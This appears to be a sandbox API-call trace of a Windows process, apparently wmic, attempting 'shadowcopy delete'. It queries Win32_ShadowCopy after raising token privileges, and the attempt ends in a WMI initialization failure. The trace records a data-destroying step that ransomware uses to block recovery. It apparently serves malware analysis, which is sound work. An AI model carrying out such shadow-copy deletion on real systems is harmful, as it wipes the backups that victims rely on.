0x0 [0104.894] free (_Block=0x2382078) [0104.894] malloc (_Size=0xc) returned 0x2382078 [0104.894] GetCurrentThreadId () returned 0x174 [0104.894] ??0CHString@@QAE@XZ () returned 0x25f9c0 [0104.894] ??0CHString@@QAE@PBG@Z () returned 0x25f9ac [0104.894] ??0CHString@@QAE@ABV0@@Z () returned 0x25f94c [0104.894] ?Empty@CHString@@QAEXXZ () returned 0x744c0510 [0104.894] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x2382448 [0104.894] ?Find@CHString@@QBEHPBG@Z () returned 0x1b [0104.894] ?Left@CHString@@QBE?AV1@H@Z () returned 0x25f92c [0104.894] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0x25f930 [0104.894] ??YCHString@@QAEABV0@ABV0@@Z () returned 0x25f9ac [0104.894] ??1CHString@@QAE@XZ () returned 0x1 [0104.894] ??1CHString@@QAE@XZ () returned 0x1 [0104.895] ?Mid@CHString@@QBE?AV1@H@Z () returned 0x25f928 [0104.895] ??4CHString@@QAEABV0@ABV0@@Z () returned 0x25f94c [0104.895] ??1CHString@@QAE@XZ () returned 0x1 [0104.895] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x31ffa0 [0104.895] ?Find@CHString@@QBEHPBG@Z () returned 0xa [0104.895] ?Left@CHString@@QBE?AV1@H@Z () returned 0x25f92c [0104.895] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0x25f930 [0104.895] ??YCHString@@QAEABV0@ABV0@@Z () returned 0x25f9ac [0104.895] ??1CHString@@QAE@XZ () returned 0x1 [0104.895] ??1CHString@@QAE@XZ () returned 0x1 [0104.895] ?Mid@CHString@@QBE?AV1@H@Z () returned 0x25f928 [0104.895] ??4CHString@@QAEABV0@ABV0@@Z () returned 0x25f94c [0104.895] ??1CHString@@QAE@XZ () returned 0x744c0504 [0104.895] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x744c0504 [0104.895] ??1CHString@@QAE@XZ () returned 0x744c0504 [0104.895] malloc (_Size=0xc) returned 0x23820a8 [0104.895] malloc (_Size=0xc) returned 0x23820c0 [0104.895] malloc (_Size=0xc) returned 0x2382108 [0104.895] malloc (_Size=0xc) returned 0x2382120 [0104.895] malloc (_Size=0xc) returned 0x2382138 [0104.895] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c [0104.895] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17 [0104.896] malloc (_Size=0xc) returned 0x2382150 [0104.896] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53 [0104.896] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x29 [0104.896] malloc (_Size=0xc) returned 0x2382168 [0104.896] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x7c [0104.896] SysStringLen (param_1="\"") returned 0x1 [0104.896] free (_Block=0x2382150) [0104.896] free (_Block=0x2382138) [0104.896] free (_Block=0x2382120) [0104.896] free (_Block=0x2382108) [0104.897] free (_Block=0x23820c0) [0104.897] free (_Block=0x23820a8) [0104.897] IWbemServices:GetObject (in: This=0x1e2d064, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"\"", lFlags=0, pCtx=0x0, ppObject=0x25f9c8*=0x0, ppCallResult=0x0 | out: ppObject=0x25f9c8*=0x1e39e68, ppCallResult=0x0) returned 0x0 [0104.901] malloc (_Size=0xc) returned 0x23820a8 [0104.901] IWbemClassObject:Get (in: This=0x1e39e68, wszName="Text", lFlags=0, pVal=0x25f974*(varType=0x0, wReserved1=0x62, wReserved2=0x3924, wReserved3=0x62, varVal1=0x4e, varVal2=0x95c1e0), pType=0x0, plFlavor=0x0 | out: pVal=0x25f974*(varType=0x2008, wReserved1=0x62, wReserved2=0x3924, wReserved3=0x62, varVal1=0x6494f0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x658f38, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x95c1e0), pType=0x0, plFlavor=0x0) returned 0x0 [0104.901] free (_Block=0x23820a8) [0104.901] SafeArrayGetLBound (in: psa=0x6494f0, nDim=0x1, plLbound=0x25f98c | out: plLbound=0x25f98c) returned 0x0 [0104.901] SafeArrayGetUBound (in: psa=0x6494f0, nDim=0x1, plUbound=0x25f988 | out: plUbound=0x25f988) returned 0x0 [0104.901] SafeArrayGetElement (in: psa=0x6494f0, rgIndices=0x25f9ec, pv=0x25f9b4 | out: pv=0x25f9b4) returned 0x0 [0104.901] malloc (_Size=0xc) returned 0x23820a8 [0104.902] malloc (_Size=0xc) returned 0x23820c0 [0104.902] SysStringLen (param_1="Shadow copy management.") returned 0x17 [0104.902] free (_Block=0x23820a8) [0104.902] IUnknown:Release (This=0x1e39e68) returned 0x0 [0104.902] free (_Block=0x2382168) [0104.902] ??1CHString@@QAE@XZ () returned 0x1 [0104.902] ??1CHString@@QAE@XZ () returned 0x744c0504 [0104.902] free (_Block=0x2382078) [0104.902] ??1CHString@@QAE@XZ () returned 0x744c0504 [0104.902] lstrlenW (lpString="Shadow copy management.") returned 23 [0104.902] malloc (_Size=0x30) returned 0x31ffa0 [0104.902] lstrlenW (lpString="Shadow copy management.") returned 23 [0104.902] free (_Block=0x23820c0) [0104.902] IUnknown:Release (This=0x1e39a18) returned 0x0 [0104.902] free (_Block=0x23820d8) [0104.902] ??1CHString@@QAE@XZ () returned 0x744c0504 [0104.902] lstrlenW (lpString="PATH") returned 4 [0104.902] lstrlenW (lpString="delete") returned 6 [0104.903] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="PATH", cchCount2=4) returned 1 [0104.903] lstrlenW (lpString="WHERE") returned 5 [0104.903] lstrlenW (lpString="delete") returned 6 [0104.903] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="WHERE", cchCount2=5) returned 1 [0104.903] lstrlenW (lpString="(") returned 1 [0104.903] lstrlenW (lpString="delete") returned 6 [0104.903] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="(", cchCount2=1) returned 3 [0104.903] lstrlenW (lpString="/") returned 1 [0104.903] lstrlenW (lpString="delete") returned 6 [0104.903] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0104.903] lstrlenW (lpString="-") returned 1 [0104.903] lstrlenW (lpString="delete") returned 6 [0104.903] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0104.903] malloc (_Size=0xc) returned 0x23820d8 [0104.903] lstrlenW (lpString="GET") returned 3 [0104.903] lstrlenW (lpString="delete") returned 6 [0104.903] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0104.903] lstrlenW (lpString="LIST") returned 4 [0104.904] lstrlenW (lpString="delete") returned 6 [0104.904] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0104.904] lstrlenW (lpString="SET") returned 3 [0104.904] lstrlenW (lpString="delete") returned 6 [0104.904] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0104.904] lstrlenW (lpString="CREATE") returned 6 [0104.904] lstrlenW (lpString="delete") returned 6 [0104.904] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0104.904] lstrlenW (lpString="CALL") returned 4 [0104.904] lstrlenW (lpString="delete") returned 6 [0104.904] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0104.904] lstrlenW (lpString="ASSOC") returned 5 [0104.904] lstrlenW (lpString="delete") returned 6 [0104.904] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0104.904] lstrlenW (lpString="DELETE") returned 6 [0104.904] lstrlenW (lpString="delete") returned 6 [0104.904] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0104.904] free (_Block=0x23820d8) [0104.904] lstrlenW (lpString="/") returned 1 [0104.904] lstrlenW (lpString="delete") returned 6 [0104.904] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0104.904] lstrlenW (lpString="-") returned 1 [0104.904] lstrlenW (lpString="delete") returned 6 [0104.904] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0104.905] lstrlenW (lpString="delete") returned 6 [0104.905] malloc (_Size=0xe) returned 0x23820d8 [0104.905] lstrlenW (lpString="delete") returned 6 [0104.905] lstrlenW (lpString="GET") returned 3 [0104.905] lstrlenW (lpString="delete") returned 6 [0104.905] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0104.905] lstrlenW (lpString="LIST") returned 4 [0104.905] lstrlenW (lpString="delete") returned 6 [0104.905] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0104.905] lstrlenW (lpString="SET") returned 3 [0104.905] lstrlenW (lpString="delete") returned 6 [0104.905] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0104.906] lstrlenW (lpString="CREATE") returned 6 [0104.906] lstrlenW (lpString="delete") returned 6 [0104.906] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0104.906] lstrlenW (lpString="CALL") returned 4 [0104.906] lstrlenW (lpString="delete") returned 6 [0104.906] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0104.906] lstrlenW (lpString="ASSOC") returned 5 [0104.906] lstrlenW (lpString="delete") returned 6 [0104.906] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0104.906] lstrlenW (lpString="DELETE") returned 6 [0104.906] lstrlenW (lpString="delete") returned 6 [0104.906] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0104.906] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0104.906] malloc (_Size=0x3e) returned 0x2382448 [0104.906] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0104.906] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0x208c1c58 | out: _String="Select", _Context=0x208c1c58) returned="Select" [0104.906] malloc (_Size=0xc) returned 0x23820c0 [0104.906] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x208c1c58 | out: _String=0x0, _Context=0x208c1c58) returned="*" [0104.906] lstrlenW (lpString="FROM") returned 4 [0104.906] lstrlenW (lpString="*") returned 1 [0104.907] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0104.907] malloc (_Size=0xc) returned 0x2382078 [0104.907] free (_Block=0x23820c0) [0104.907] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x208c1c58 | out: _String=0x0, _Context=0x208c1c58) returned="from" [0104.907] lstrlenW (lpString="FROM") returned 4 [0104.907] lstrlenW (lpString="from") returned 4 [0104.907] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0104.907] malloc (_Size=0xc) returned 0x23820c0 [0104.907] free (_Block=0x2382078) [0104.907] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x208c1c58 | out: _String=0x0, _Context=0x208c1c58) returned="Win32_ShadowCopy" [0104.907] malloc (_Size=0xc) returned 0x2382078 [0104.907] free (_Block=0x23820c0) [0104.907] free (_Block=0x2382448) [0104.907] free (_Block=0x2382078) [0104.908] lstrlenW (lpString="SET") returned 3 [0104.908] lstrlenW (lpString="delete") returned 6 [0104.908] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0104.908] lstrlenW (lpString="CREATE") returned 6 [0104.908] lstrlenW (lpString="delete") returned 6 [0104.908] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0104.908] free (_Block=0x312f50) [0104.908] malloc (_Size=0x4) returned 0x31ffd8 [0104.908] lstrlenW (lpString="GET") returned 3 [0104.908] lstrlenW (lpString="delete") returned 6 [0104.908] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0104.908] lstrlenW (lpString="LIST") returned 4 [0104.908] lstrlenW (lpString="delete") returned 6 [0104.908] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0104.908] lstrlenW (lpString="ASSOC") returned 5 [0104.908] lstrlenW (lpString="delete") returned 6 [0104.908] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0104.908] WbemLocator:IUnknown:AddRef (This=0x1e20828) returned 0x3 [0104.908] free (_Block=0x312868) [0104.908] lstrlenW (lpString="") returned 0 [0104.908] lstrlenW (lpString="XDUWTFONO") returned 9 [0104.908] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0104.908] lstrlenW (lpString="XDUWTFONO") returned 9 [0104.908] malloc (_Size=0x14) returned 0x31ebe8 [0104.908] lstrlenW (lpString="XDUWTFONO") returned 9 [0104.908] GetCurrentThreadId () returned 0x174 [0104.908] GetCurrentProcess () returned 0xffffffff [0104.908] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x25fb30 | out: TokenHandle=0x25fb30*=0x290) returned 1 [0104.909] GetTokenInformation (in: TokenHandle=0x290, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x25fb2c | out: TokenInformation=0x0, ReturnLength=0x25fb2c) returned 0 [0104.909] malloc (_Size=0x118) returned 0x2382448 [0104.909] GetTokenInformation (in: TokenHandle=0x290, TokenInformationClass=0x3, TokenInformation=0x2382448, TokenInformationLength=0x118, ReturnLength=0x25fb2c | out: TokenInformation=0x2382448, ReturnLength=0x25fb2c) returned 1 [0104.909] AdjustTokenPrivileges (in: TokenHandle=0x290, DisableAllPrivileges=0, NewState=0x2382448*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0104.909] free (_Block=0x2382448) [0104.909] CloseHandle (hObject=0x290) returned 1 [0104.909] lstrlenW (lpString="GET") returned 3 [0104.909] lstrlenW (lpString="delete") returned 6 [0104.909] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0104.909] lstrlenW (lpString="LIST") returned 4 [0104.909] lstrlenW (lpString="delete") returned 6 [0104.909] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0104.909] lstrlenW (lpString="SET") returned 3 [0104.909] lstrlenW (lpString="delete") returned 6 [0104.909] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0104.909] lstrlenW (lpString="CALL") returned 4 [0104.909] lstrlenW (lpString="delete") returned 6 [0104.909] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0104.909] lstrlenW (lpString="ASSOC") returned 5 [0104.909] lstrlenW (lpString="delete") returned 6 [0104.909] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0104.910] lstrlenW (lpString="CREATE") returned 6 [0104.910] lstrlenW (lpString="delete") returned 6 [0104.910] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0104.910] lstrlenW (lpString="DELETE") returned 6 [0104.910] lstrlenW (lpString="delete") returned 6 [0104.910] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0104.931] malloc (_Size=0xc) returned 0x2382078 [0104.931] lstrlenA (lpString="") returned 0 [0104.931] malloc (_Size=0x2) returned 0x312f50 [0104.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9126a2, cbMultiByte=-1, lpWideCharStr=0x312f50, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0104.931] free (_Block=0x312f50) [0104.931] malloc (_Size=0xc) returned 0x23820c0 [0104.931] lstrlenA (lpString="") returned 0 [0104.931] malloc (_Size=0x2) returned 0x312f50 [0104.931] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9126a2, cbMultiByte=-1, lpWideCharStr=0x312f50, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0104.931] free (_Block=0x312f50) [0104.931] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0104.931] malloc (_Size=0x3e) returned 0x2382448 [0104.931] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0104.931] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0x208c1db4 | out: _String="Select", _Context=0x208c1db4) returned="Select" [0104.932] malloc (_Size=0xc) returned 0x2382168 [0104.932] free (_Block=0x23820c0) [0104.932] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x208c1db4 | out: _String=0x0, _Context=0x208c1db4) returned="*" [0104.932] lstrlenW (lpString="FROM") returned 4 [0104.932] lstrlenW (lpString="*") returned 1 [0104.932] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0104.932] malloc (_Size=0xc) returned 0x23820c0 [0104.932] free (_Block=0x2382168) [0104.932] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x208c1db4 | out: _String=0x0, _Context=0x208c1db4) returned="from" [0104.932] lstrlenW (lpString="FROM") returned 4 [0104.932] lstrlenW (lpString="from") returned 4 [0104.932] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0104.932] malloc (_Size=0xc) returned 0x2382168 [0104.932] free (_Block=0x23820c0) [0104.932] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x208c1db4 | out: _String=0x0, _Context=0x208c1db4) returned="Win32_ShadowCopy" [0104.932] malloc (_Size=0xc) returned 0x23820c0 [0104.933] free (_Block=0x2382168) [0104.933] free (_Block=0x2382448) [0104.933] malloc (_Size=0xc) returned 0x2382168 [0104.933] malloc (_Size=0xc) returned 0x23820a8 [0104.933] SysStringLen (param_1="SELECT * FROM ") returned 0xe [0104.933] SysStringLen (param_1="Win32_ShadowCopy") returned 0x10 [0104.933] free (_Block=0x2382078) [0104.933] free (_Block=0x2382168) [0104.933] ??0CHString@@QAE@XZ () returned 0x25faac [0104.933] GetCurrentThreadId () returned 0x174 [0104.933] malloc (_Size=0xc) returned 0x2382168 [0104.933] malloc (_Size=0xc) returned 0x2382078 [0104.933] malloc (_Size=0xc) returned 0x2382108 [0104.934] malloc (_Size=0xc) returned 0x2382120 [0104.934] malloc (_Size=0xc) returned 0x2382138 [0104.934] SysStringLen (param_1="\\\\") returned 0x2 [0104.934] SysStringLen (param_1="XDUWTFONO") returned 0x9 [0104.934] malloc (_Size=0xc) returned 0x2382150 [0104.934] SysStringLen (param_1="\\\\XDUWTFONO") returned 0xb [0104.934] SysStringLen (param_1="\\") returned 0x1 [0104.951] malloc (_Size=0xc) returned 0x2382180 [0104.951] SysStringLen (param_1="\\\\XDUWTFONO\\") returned 0xc [0104.951] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa [0104.951] free (_Block=0x2382150) [0104.952] free (_Block=0x2382138) [0104.952] free (_Block=0x2382120) [0104.952] free (_Block=0x2382108) [0104.952] free (_Block=0x2382078) [0104.952] free (_Block=0x2382168) [0104.952] malloc (_Size=0xc) returned 0x2382168 [0104.952] malloc (_Size=0xc) returned 0x2382078 [0104.952] malloc (_Size=0xc) returned 0x2382108 [0104.952] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1e20828, strNetworkResource="\\\\XDUWTFONO\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x95c204 | out: ppNamespace=0x95c204*=0x1e2d0bc) returned 0x0 [0104.959] free (_Block=0x2382108) [0104.959] free (_Block=0x2382078) [0104.959] free (_Block=0x2382168) [0104.959] CoSetProxyBlanket (pProxy=0x1e2d0bc, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0104.960] free (_Block=0x2382180) [0104.960] ??1CHString@@QAE@XZ () returned 0x744c0504 [0104.960] ??0CHString@@QAE@XZ () returned 0x25faa4 [0104.960] GetCurrentThreadId () returned 0x174 [0104.960] malloc (_Size=0xc) returned 0x2382180 [0104.960] lstrlenA (lpString="") returned 0 [0104.960] malloc (_Size=0x2) returned 0x312f50 [0104.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9126a2, cbMultiByte=-1, lpWideCharStr=0x312f50, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0104.960] free (_Block=0x312f50) [0104.960] SysStringLen (param_1="SELECT * FROM Win32_ShadowCopy") returned 0x1e [0104.960] SysStringLen (param_1="") returned 0x0 [0104.960] free (_Block=0x2382180) [0104.960] malloc (_Size=0xc) returned 0x2382180 [0104.960] IWbemServices:ExecQuery (in: This=0x1e2d0bc, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ShadowCopy", lFlags=0, pCtx=0x0, ppEnum=0x25faa0 | out: ppEnum=0x25faa0*=0x0) returned 0x80041014 [0110.981] free (_Block=0x2382180) [0110.981] _CxxThrowException () [0110.981] malloc (_Size=0x10) returned 0x2382180 [0110.982] ??1CHString@@QAE@XZ () returned 0x744c0504 [0110.982] free (_Block=0x23820c0) [0110.982] free (_Block=0x23820a8) [0110.982] GetCurrentThreadId () returned 0x174 [0110.982] ??0CHString@@QAE@PBG@Z () returned 0x25fb64 [0110.982] ??YCHString@@QAEABV0@PBG@Z () returned 0x25fb64 [0110.982] ??0CHString@@QAE@XZ () returned 0x25fa28 [0110.982] malloc (_Size=0xc) returned 0x23820a8 [0110.982] malloc (_Size=0xc) returned 0x23820c0 [0110.982] SysStringLen (param_1="") returned 0x0 [0110.982] free (_Block=0x23820a8) [0110.982] CoCreateInstance (in: rclsid=0x916cb0*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x916c00*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppv=0x95c21c | out: ppv=0x95c21c*=0x1e20810) returned 0x0 [0110.986] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x1e20810, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x25fa40 | out: MessageText=0x25fa40*="Initialization failure\r\n") returned 0x0 [0110.987] free (_Block=0x23820c0) [0110.987] malloc (_Size=0xc) returned 0x23820c0 [0110.987] WbemStatusCodeText:IWbemStatusCodeText:GetFacilityCodeText (in: This=0x1e20810, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x25fa64 | out: MessageText=0x25fa64*="WMI") returned 0x0 [0110.987] malloc (_Size=0xc) returned 0x23820a8 [0110.987] lstrlenW (lpString="WMI") returned 3 [0110.987] lstrlenW (lpString="Wbem") returned 4 [0110.987] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Wbem", cchCount1=4, lpString2="WMI", cchCount2=3) returned 1 [0110.987] lstrlenW (lpString="WMI") returned 3 [0110.988] lstrlenW (lpString="WMI") returned 3 [0110.988] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="WMI", cchCount1=3, lpString2="WMI", cchCount2=3) returned 2 [0110.988] WbemStatusCodeText:IUnknown:Release (This=0x1e20810) returned 0x0 [0110.988] ??1CHString@@QAE@XZ () returned 0x744c0504 [0110.988] LoadStringW (in: hInstance=0x0, uID=0xb7f3, lpBuffer=0x25f290, cchBufferMax=1024 | out: lpBuffer="ERROR:\r\nDescription = %1") returned 0x18 [0110.988] FormatMessageW (in: dwFlags=0x2500, lpSource=0x25f290, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x25f28c, nSize=0x0, Arguments=0x25f278 | out: lpBuffer="潀fERROR:\r\nDescription = %1") returned 0x2e [0110.988] malloc (_Size=0xc) returned 0x2382168 [0110.988] LocalFree (hMem=0x666f40) returned 0x0 [0110.988] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0110.988] malloc (_Size=0x2f) returned 0x23824c0 [0110.988] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x23824c0, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ERROR:\r\nDescription = Initialization failure\r\n", lpUsedDefaultChar=0x0) returned 47 [0110.988] fprintf (in: _File=0x77032940, _Format="%s" | out: _File=0x77032940) returned 46 [0110.991] fflush (in: _File=0x77032940 | out: _File=0x77032940) returned 0 [0110.991] free (_Block=0x23824c0) [0110.991] free (_Block=0x2382168) [0110.991] free (_Block=0x23820a8) [0110.991] free (_Block=0x23820c0) [0110.991] ??1CHString@@QAE@XZ () returned 0x1 [0110.991] ??0CHString@@QAE@PBG@Z () returned 0x25fb84 [0110.991] ??YCHString@@QAEABV0@PBG@Z () returned 0x25fb84 [0110.991] GetCurrentThreadId () returned 0x174 [0110.991] ??1CHString@@QAE@XZ () returned 0x1 [0110.991] WbemLocator:IUnknown:Release (This=0x1e2d0bc) returned 0x0 [0110.992] ?Empty@CHString@@QAEXXZ () returned 0x744c0504 